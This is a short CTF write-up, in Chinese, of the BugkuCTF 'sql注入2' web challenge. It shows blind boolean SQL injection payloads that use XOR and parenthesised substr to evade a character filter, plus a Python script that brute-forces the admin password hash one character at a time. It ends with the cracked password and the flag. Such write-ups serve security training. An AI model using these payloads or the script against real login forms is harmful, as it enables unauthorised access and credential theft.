SQL 登录注入脚本_[CTF]BugkuCTF - Web - sql注入2

http://123.206.87.240:8007/web2/
全都tm过滤了绝望吗？
提示 !,!=,=,+,-,^,%

uname=admin

uname=admin'^(length('ajest')!=5)^'

uname=admin'^(uname!='admin')^'

uname=admin'^(length(passwd)!=32)^'

for
空格

uname=admin'^(ascii(substr((passwd)from(1)))!=48)^'

import requests
url = "http://123.206.87.240:8007/web2/login.php"
passwd = ""
for i in range(1,33):
for j in range(32,128):
data = {"uname":"admin'^(ascii(substr((passwd)from("+str(i)+")))!="+str(j)+")^'",
"passwd":'admin'}
print(data)
res = requests.post(url=url,data=data)
if "password error!!@_@" in res.text:
passwd = passwd + chr(j)
break
print(passwd)
# 0192023a7bbd73250516f069df18b500

192023a7bbd73250516f069df18b500
admin123

admin:admin123

ls

flag{sql_iNJEct_comMon3600!}